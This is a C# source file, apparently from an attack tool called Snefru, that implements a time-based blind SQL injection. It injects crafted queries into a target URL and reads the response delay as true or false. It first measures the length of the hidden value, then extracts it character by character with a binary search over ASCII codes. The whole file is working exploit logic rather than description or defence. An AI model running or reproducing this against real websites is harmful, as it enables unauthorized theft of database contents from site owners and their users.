﻿using System;
using System.Net;
using System.Threading;
using Snefru.BaseObject;
using Snefru.Interfaces;
using Snefru.Params;
using Snefru.XmlObjects;
using Snefru.Enums;
using System.Windows.Forms;

namespace Snefru.Managers
{
    class QueryAttackManager: BaseAttack
    {        
        private int CheckLenght(IAttackQueryParams parameters)
        {
            int intPosition;

            IAttackQueryResult result = new QueryAttackResult();
            Main.TxtAttackResult.Text += "\n[+] Calculating lenght, please wait";
            for (intPosition = 1; ; intPosition++)
            {

                string cookieSettings = new HTTPHeaders().GetDetail(HTTPHeaders.XmlPath).HTTPHeadersParameter.Cookie;
                string userAgent = new HTTPHeaders().GetDetail(HTTPHeaders.XmlPath).HTTPHeadersParameter.UserAgent;

                string sqlServerAttackingQuery = string.Format(parameters.QueryLenght, parameters.InjectionQuery.Query, intPosition);

                DateTime StartTime = DateTime.Now;

                string targetUrl = parameters.TargetUrl.Replace("[SQL]", parameters.QueryPrefix + sqlServerAttackingQuery);

                Request = (HttpWebRequest)WebRequest.Create(targetUrl);
                Request.CookieContainer = new CookieContainer();
                Request.CookieContainer.Add(new Uri(targetUrl), new Cookie("snefruCookie", cookieSettings));
                Request.UserAgent = userAgent;
                Response = (HttpWebResponse)Request.GetResponse();
                Response.Close();

                result.StatusCode = Response.StatusCode;

                DateTime EndTime = DateTime.Now;
                result.TimeOfResponse = EndTime.Subtract(StartTime);

                if (result.StatusCode == HttpStatusCode.OK && result.TimeOfResponse.TotalSeconds > 10.0)
                {
                    break;
                }

            }

            Main.TxtAttackResult.Text += "\n[+] Lenght : " + intPosition;

            return intPosition;
        }
        private IAttackQueryResult Attacking(IAttackQueryParams parameters, int intPosition, int intAsciiValue, string compare)
        {
            IAttackQueryResult result = new QueryAttackResult();

            string cookieSettings = new HTTPHeaders().GetDetail(HTTPHeaders.XmlPath).HTTPHeadersParameter.Cookie;
            string userAgent = new HTTPHeaders().GetDetail(HTTPHeaders.XmlPath).HTTPHeadersParameter.UserAgent;

           string sqlServerAttackingQuery = string.Format(parameters.Query, parameters.InjectionQuery.Query, intPosition, intAsciiValue, compare);

            DateTime StartTime = DateTime.Now;

            string targetUrl = parameters.TargetUrl.Replace("[SQL]", parameters.QueryPrefix + sqlServerAttackingQuery);

            Request = (HttpWebRequest)WebRequest.Create(targetUrl);
            Request.CookieContainer = new CookieContainer();
            Request.CookieContainer.Add(new Uri(targetUrl), new Cookie("snefruCookie", cookieSettings));
            Request.UserAgent = userAgent;
            Response = (HttpWebResponse)Request.GetResponse();
            Response.Close();
            
            result.StatusCode = Response.StatusCode;

            DateTime EndTime = DateTime.Now;
            result.TimeOfResponse = EndTime.Subtract(StartTime);

            return result;
        }
        public IAttackQueryResult Attack(IAttackQueryParams parameters)
        {
            IAttackQueryResult resultGeneral = new QueryAttackResult();

            try
            {
                char asciiValue;
                int positionEnd = CheckLenght(parameters);                
               
                Main.PbLoading.Maximum = positionEnd;

                for (int intPosition = 1; intPosition <= positionEnd; intPosition++)
                {
                    BinaryTreeManager<int> binarySearch = BinaryTreeManager<int>.BuildTree(BinaryTreeType.General);
                    BinaryTreeManager<int>.BinaryTreeNode Iterator = binarySearch.GetRoot();
                    
                    while (Iterator != null)
                    {   
                        string compare =  UtilityManager.GetStringValueFromEnum(Compare.Equal);
                        IAttackQueryResult result;
                        result = Attacking(parameters, intPosition, Iterator.Data, compare);
                        if (result.StatusCode == HttpStatusCode.OK && result.TimeOfResponse.TotalSeconds > 10.0)
                        {
                            asciiValue = Convert.ToChar(Iterator.Data);
                            Main.TxtAttackResult.Text += "\n[+] " + asciiValue;                                                        
                            resultGeneral.ReturnValue += asciiValue;
                            break;
                        }
                        else
                        {
                            compare = UtilityManager.GetStringValueFromEnum(Compare.Less);
                            result = Attacking(parameters, intPosition, Iterator.Data, compare);
                            if (result.StatusCode == HttpStatusCode.OK && result.TimeOfResponse.TotalSeconds > 10.0)
                            {
                                Iterator = Iterator.Left;
                                continue;
                            }
                            else
                            {
                                Iterator = Iterator.Right;
                                continue;
                            }
                        }
                    }

                    Main.PbLoading.Value = intPosition;
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            return resultGeneral;
        }        
    }
}
